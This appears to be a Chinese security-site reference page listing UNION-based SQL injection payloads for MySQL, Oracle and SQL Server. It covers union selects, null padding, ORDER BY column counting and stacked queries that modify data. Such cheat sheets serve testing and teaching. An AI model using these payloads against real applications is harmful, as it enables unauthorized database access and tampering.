首页>安全文库>SQL注入>SQL注入基于联合查询

SQL注入基于联合查询

联合查询注入

基于联合的SQL注入允许攻击者通过扩展原始查询返回的结果来从数据库中提取信息。 仅当原始/新查询具有相同结构(列的数量和数据类型)时,才能使用联合运算符。

MySQL

描述语句
联合SELECT “mysql” UNION SELECT @@version
联合子查询SELECT “mysql” UNION (select @@version)
联合null
注意:如果原始查询返回多个列,则添加null以等于列数
SELECT “mysql”,”test” UNION SELECT @@version,null
堆叠查询
注意:堆叠查询并不总是返回结果,因此它们最适合用于更新/修改数据的注入。
SELECT “mysql”; INSERT INTO ‘docs’ (‘content’) VALUES ((SELECT @@version))

Oracle

描述语句
联合SELECT user FROM dual UNION SELECT * FROM v$version
联合子查询SELECT user FROM dual UNION (SELECT * FROM v$version)
联合null
注意:如果原始查询返回多个列,则添加null以等于列数
SELECT user,dummy FROM dual UNION (SELECT banner,null FROM v$version)

SQL Server

描述语句
联合SELECT user UNION SELECT @@version
联合子查询SELECT user UNION (SELECT @@version)
联合null
注意:如果原始查询返回多个列,则添加null以等于列数
SELECT user,system_user UNION (SELECT @@version,null)
联合null二进制减半
注意:此查询用于检测列数。[numberOfColumns]大于列数则返回错误,从而找到表中列的数目。
SELECT * FROM yourtable ORDER BY [numberOfColumns]
堆积式查询
注意:堆积式查询并不总是返回结果,因此它们最适合用于更新/修改数据的注入。
SELECT @@version; SELECT @@version —
文章最后更新于 2021-09-22
0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索